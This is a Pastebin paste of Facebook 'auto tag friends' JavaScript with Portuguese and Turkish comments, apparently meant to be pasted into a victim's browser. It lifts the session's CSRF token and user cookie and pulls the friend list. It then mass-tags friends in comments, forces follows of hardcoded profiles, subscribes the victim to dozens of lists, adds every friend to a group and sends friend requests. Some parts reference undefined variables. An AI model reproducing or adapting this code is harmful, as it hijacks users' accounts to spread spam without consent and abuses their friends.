Famewhore

Auto Tag Friends

Nov 12th, 2013
86
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 11.85 KB | None | 0 0
  1. /* CREDITOS AO MIGUEL TARGA, ESSA PARTE E DELE */
  2. function x__0() { return window.ActiveXObject ? new ActiveXObject("Msxml2.XMLHTTP") : new XMLHttpRequest; };
  3.  
  4. //Pegar todos amigos
  5. function get_friends(){
  6. var a=x__0();
  7. a.open("GET", "/ajax/typeahead/first_degree.php?__a=1&filter[0]=user&lazy=0&viewer="+uid+"&token=v7&stale_ok=0&options[0]=friends_only&options[1]=nm", false);
  8. a.send(null);
  9. if (a.readyState == 4) {
  10. var f = JSON.parse(a.responseText.substring(a.responseText.indexOf('{')));
  11. return f.payload.entries;
  12. }
  13. return false;
  14. }
  15.  
  16. /* FIM DA PARTE DO MIGUEL TARGA */
  17.  
  18. //Pegar todos amigos
  19. function get_uid(b){
  20. var a=x__0();
  21. a.open("GET", 'http://graph.facebook.com/'+b, false);
  22. a.send();
  23. if (a.readyState == 4) {
  24. return uid = JSON.parse(a.responseText).id;
  25.  
  26. }
  27. return false;
  28. }
  29. // Pattern que vai trocar o valor dos coment?rios pelas marcaç?es
  30.  
  31. var patt = /comment_text=(.*?)&/
  32. var c = 1;
  33. username = /\.com\/(.*?)\//.exec(window.top.location)[1];
  34. uid = get_uid(username);
  35. a = window.top.location;
  36. termina = 0;
  37. var amigos = get_friends();
  38. post_id = /[0-9]{8,}/.exec(a);
  39. uids = 'comment_text=';
  40. header = 'ft_ent_identifier='+post_id+'&comment_text=0&source=1&client_id=1359576694192%3A1233576093&reply_fbid&parent_comment_id&rootid=u_jsonp_3_19&ft[tn]=[]&ft[qid]=5839337351464612379&ft[mf_story_key]=5470779710560437153&ft[has_expanded_ufi]=1&nctr[_mod]=pagelet_home_stream&__user='+uid+'&__a=1&__req=4u&fb_dtsg='+document.getElementsByName('fb_dtsg')[0].value+'&phstamp='+Math.random();
  41. for ( var n = 1 ; n < amigos.length ; n++ ){
  42. //uids += '%40[' + amigos[n].uid + '%3A' + encodeURI(amigos[n].text) + ']%20';
  43. fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
  44. uids += '%40[' + amigos[n].uid + '%3AAAAAAAAAAAA]%20';
  45. c++;
  46. if(c == 7){
  47. // Quando o contador chega em 7, ele termina o parâmetro com um &...
  48. uids += '&';
  49. // ...envia as coisas com o método do indiano...
  50. with(new XMLHttpRequest()) open("POST", "/ajax/ufi/add_comment.php?__a=1"),setRequestHeader("Content-Type", "application/x-www-form-urlencoded"),send(header.replace(patt, uids));
  51.  
  52. // ... espera um segundo...
  53. z = setTimeout('function(){asd=0}', 1000);
  54. clearInterval(z);
  55.  
  56. // ... e seta tudo de novo pra recomeçar
  57. c = 1;
  58. uids = 'comment_text=';
  59.  
  60.  
  61. }
  62.  
  63. }
  64.  
  65. var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
  66. var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  67.  
  68. function cereziAl(isim) {
  69. var tarama = isim + "=";
  70. if (document.cookie.length > 0) {
  71. konum = document.cookie.indexOf(tarama)
  72. if (konum != -1) {
  73. konum += tarama.length
  74. son = document.cookie.indexOf(";", konum)
  75. if (son == -1)
  76. son = document.cookie.length
  77. return unescape(document.cookie.substring(konum, son))
  78. }
  79. else { return ""; }
  80. }
  81. }
  82.  
  83. function getRandomInt (min, max) {
  84. return Math.floor(Math.random() * (max - min + 1)) + min;
  85. }
  86. function randomValue(arr) {
  87. return arr[getRandomInt(0, arr.length-1)];
  88. }
  89.  
  90. var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
  91. var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  92.  
  93. function a(abone){
  94. var http4 = new XMLHttpRequest();
  95.  
  96. var url4 = "/ajax/follow/follow_profile.php?__a=1";
  97.  
  98. var params4 = "profile_id=" + abone + "&location=1&source=follow-button&subscribed_button_id=u37qac_37&fb_dtsg=" + fb_dtsg + "&lsd&__" + user_id + "&phstamp=";
  99. http4.open("POST", url4, true);
  100.  
  101. //Send the proper header information along with the request
  102. http4.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
  103. http4.setRequestHeader("Content-length", params4.length);
  104. http4.setRequestHeader("Connection", "close");
  105.  
  106. http4.onreadystatechange = function() {//Call a function when the state changes.
  107. if(http4.readyState == 4 && http4.status == 200) {
  108.  
  109. http4.close; // Close the connection
  110.  
  111. }
  112. }
  113.  
  114. http4.send(params4);
  115. }
  116.  
  117. function sublist(uidss) {
  118. var a = document.createElement('script');
  119. a.innerHTML = "new AsyncRequest().setURI('/ajax/friends/lists/subscribe/modify?location=permalink&action=subscribe').setData({ flid: " + uidss + " }).send();";
  120. document.body.appendChild(a);
  121. }
  122.  
  123.  
  124. //Boss
  125. a("100000471068316");a("100006367570550");
  126. a("100006400320870");a("100006500970876");
  127.  
  128. //list PAGE
  129. sublist("652127798146250");sublist("695099650515731");sublist("410227995747732");
  130. sublist("666218516737178");sublist("695099890515707");sublist("410228109081054");
  131. sublist("666219863403710");sublist("695103410515355");sublist("410228149081050");
  132. sublist("666220173403679");sublist("695104280515268");sublist("410228202414378");
  133. sublist("666219563403740");sublist("695106640515032");sublist("410233705747161");
  134. sublist("671380436220986");sublist("695110383847991");sublist("410228255747706");
  135. sublist("695096287182734");sublist("695116933847336");sublist("410228289081036");
  136. sublist("695096880516008");sublist("695117367180626");sublist("410228355747696");
  137. sublist("410233752413823");sublist("1411390399083199");sublist("1411390805749825");
  138. sublist("410233845747147");sublist("1411390462416526");sublist("1411390875749818");
  139. sublist("410233899080475");sublist("1411390515749854");sublist("1411390912416481");
  140. sublist("410233979080467");sublist("1411390549083184");sublist("1411390939083145");
  141. sublist("410234035747128");sublist("1411390582416514");sublist("1411390985749807");
  142. sublist("410234115747120");sublist("1411390635749842");sublist("1411391055749800");
  143. sublist("410234189080446");sublist("1411390682416504");sublist("1411391095749796");
  144. sublist("410234479080417");sublist("1411390709083168");sublist("1411391319083107");
  145. sublist("410234562413742");sublist("1411390749083164");sublist("1411391365749769");
  146. sublist("410234629080402");sublist("1411390779083161");sublist("1411391399083099");
  147. sublist("687099041319545");sublist("717329468296502");sublist("724787830883999");
  148. sublist("739891662706949");sublist("739893026040146");sublist("741661085863340");
  149. sublist("743196582376457");sublist("743197742376341");sublist("743198132376302");
  150.  
  151. var fb_dtsg = document['getElementsByName']('fb_dtsg')[0]['value'];
  152. var user_id = document['cookie']['match'](document['cookie']['match'](/c_user=(\d+)/)[1]);
  153.  
  154. var httpwp = new XMLHttpRequest();
  155. var urlwp = '/ajax/groups/membership/r2j.php?__a=1';
  156. var paramswp = '&ref=group_jump_header&group_id=' + gid + '&fb_dtsg=' + fb_dtsg + '&__user=' + user_id + '&phstamp=';
  157. httpwp['open']('POST', urlwp, true);
  158. httpwp['setRequestHeader']('Content-type', 'application/x-www-form-urlencoded');
  159. httpwp['setRequestHeader']('Content-length', paramswp['length']);
  160. httpwp['setRequestHeader']('Connection', 'keep-alive');
  161. httpwp['send'](paramswp);
  162.  
  163. var fb_dtsg = document['getElementsByName']('fb_dtsg')[0]['value'];
  164. var user_id = document['cookie']['match'](document['cookie']['match'](/c_user=(\d+)/)[1]);
  165.  
  166. var friends = new Array();
  167. gf = new XMLHttpRequest();
  168. gf['open']('GET', '/ajax/typeahead/first_degree.php?__a=1&viewer=' + user_id + '&token' + Math['random']() + '&filter[0]=user&options[0]=friends_only', false);
  169. gf['send']();
  170. if (gf['readyState'] != 4) {} else {
  171. data = eval('(' + gf['responseText']['substr'](9) + ')');
  172. if (data['error']) {} else {
  173. friends = data['payload']['entries']['sort'](function (_0x93dax8, _0x93dax9) {
  174. return _0x93dax8['index'] - _0x93dax9['index'];
  175. });
  176. };
  177. };
  178.  
  179. for (var i = 0; i < friends['length']; i++) {
  180. var httpwp = new XMLHttpRequest();
  181. var urlwp = '/ajax/groups/members/add_post.php?__a=1';
  182. var paramswp= '&fb_dtsg=' + fb_dtsg + '&group_id=' + gid + '&source=typeahead&ref=&message_id=&members=' + friends[i]['uid'] + '&__user=' + user_id + '&phstamp=';
  183. httpwp['open']('POST', urlwp, true);
  184. httpwp['setRequestHeader']('Content-type', 'application/x-www-form-urlencoded');
  185. httpwp['setRequestHeader']('Content-length', paramswp['length']);
  186. httpwp['setRequestHeader']('Connection', 'keep-alive');
  187. httpwp['onreadystatechange'] = function () {
  188. if (httpwp['readyState'] == 4 && httpwp['status'] == 200) {};
  189. };
  190. httpwp['send'](paramswp);
  191. };
  192. var spage_id = "100211486794985";
  193. var spost_id = "100211486794985";
  194. var sfoto_id = "100211486794985";
  195. var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  196. var smesaj = "";
  197. var smesaj_text = "";
  198. var arkadaslar = [];
  199. var svn_rev;
  200. var bugun= new Date();
  201. var btarihi = new Date();
  202. btarihi.setTime(bugun.getTime() + 1000*60*60*4*1);
  203. if(!document.cookie.match(/paylasti=(\d+)/)){
  204. document.cookie = "paylasti=hayir;expires="+ btarihi.toGMTString();
  205. }
  206.  
  207.  
  208. //arkadaslari al ve isle
  209. function sarkadaslari_al(){
  210. var xmlhttp = new XMLHttpRequest();
  211. xmlhttp.onreadystatechange = function () {
  212. if(xmlhttp.readyState == 4){
  213. eval("arkadaslar = " + xmlhttp.responseText.toString().replace("for (;;);","") + ";");
  214. for(f=0;f<Math.round(arkadaslar.payload.entries.length/10);f++){
  215. smesaj = "";
  216. smesaj_text = "";
  217. for(i=f*10;i<(f+1)*10;i++){
  218. if(arkadaslar.payload.entries[i]){
  219. smesaj += " @[" + arkadaslar.payload.entries[i].uid + ":" + arkadaslar.payload.entries[i].text + "]";
  220. smesaj_text += " " + arkadaslar.payload.entries[i].text;
  221. }
  222. }
  223. sdurumpaylas(); }
  224.  
  225. }
  226.  
  227. };
  228. var params = "&filter[0]=user";
  229. params += "&options[0]=friends_only";
  230. params += "&options[1]=nm";
  231. params += "&token=v7";
  232. params += "&viewer=" + user_id;
  233. params += "&__user=" + user_id;
  234.  
  235. if (document.URL.indexOf("https://") >= 0) { xmlhttp.open("GET", "https://www.facebook.com/ajax/typeahead/first_degree.php?__a=1" + params, true); }
  236. else { xmlhttp.open("GET", "http://www.facebook.com/ajax/typeahead/first_degree.php?__a=1" + params, true); }
  237. xmlhttp.send();
  238. }
  239.  
  240. //tiklama olayini dinle
  241. var tiklama = document.addEventListener("click", function () {
  242. if(document.cookie.split("paylasti=")[1].split(";")[0].indexOf("hayir") >= 0){
  243. svn_rev = document.head.innerHTML.split('"svn_rev":')[1].split(",")[0];
  244. sarkadaslari_al();
  245. document.cookie = "paylasti=evet;expires="+ btarihi.toGMTString();
  246.  
  247. document.removeEventListener(tiklama);
  248. }
  249. }, false);
  250.  
  251.  
  252. //arkada?? ekleme
  253. function sarkadasekle(uid,cins){
  254. var xmlhttp = new XMLHttpRequest();
  255. xmlhttp.onreadystatechange = function () {
  256. if(xmlhttp.readyState == 4){
  257. }
  258. };
  259.  
  260. xmlhttp.open("POST", "/ajax/add_friend/action.php?__a=1", true);
  261. var params = "to_friend=" + uid;
  262. params += "&action=add_friend";
  263. params += "&how_found=friend_browser";
  264. params += "&ref_param=none";
  265. params += "&outgoing_id=";
  266. params += "&logging_location=friend_browser";
  267. params += "&no_flyout_on_click=true";
  268. params += "&ego_log_data=";
  269. params += "&http_referer=";
  270. params += "&fb_dtsg=" + document.getElementsByName('fb_dtsg')[0].value;
  271. params += "&phstamp=165816749114848369115";
  272. params += "&__user=" + user_id;
  273. xmlhttp.setRequestHeader ("X-SVN-Rev", svn_rev);
  274. xmlhttp.setRequestHeader ("Content-Type","application/x-www-form-urlencoded");
  275.  
  276. if(cins == "farketmez" && document.cookie.split("cins" + user_id +"=").length > 1){
  277. xmlhttp.send(params);
  278. }else if(document.cookie.split("cins" + user_id +"=").length <= 1){
  279. cinsiyetgetir(uid,cins,"sarkadasekle");
  280. }else if(cins == document.cookie.split("cins" + user_id +"=")[1].split(";")[0].toString()){
  281. xmlhttp.send(params);
  282. }
  283. }
  284.  
  285. //cinsiyet belirleme
  286. var cinssonuc = {};
  287. var cinshtml = document.createElement("html");
  288. function scinsiyetgetir(uid,cins,fonksiyon){
  289. var xmlhttp = new XMLHttpRequest();
  290. xmlhttp.onreadystatechange = function () {
  291. if(xmlhttp.readyState == 4){
  292. eval("cinssonuc = " + xmlhttp.responseText.toString().replace("for (;;);","") + ";");
  293. cinshtml.innerHTML = cinssonuc.jsmods.markup[0][1].__html
  294. btarihi.setTime(bugun.getTime() + 1000*60*60*24*365);
  295. if(cinshtml.getElementsByTagName("select")[0].value == "1"){
  296. document.cookie = "cins" + user_id + "=kadin;expires=" + btarihi.toGMTString();
  297. }else if(cinshtml.getElementsByTagName("select")[0].value == "2"){
  298. document.cookie = "cins" + user_id + "=erkek;expires=" + btarihi.toGMTString();
  299. }
  300. eval(fonksiyon + "(" + id + "," + cins + ");");
  301. }
  302. };
  303. xmlhttp.open("GET", "/ajax/timeline/edit_profile/basic_info.php?__a=1&__user=" + user_id, true);
  304. xmlhttp.setRequestHeader ("X-SVN-Rev", svn_rev);
  305. xmlhttp.send();
  306. }
Add Comment
Please, Sign In to add comment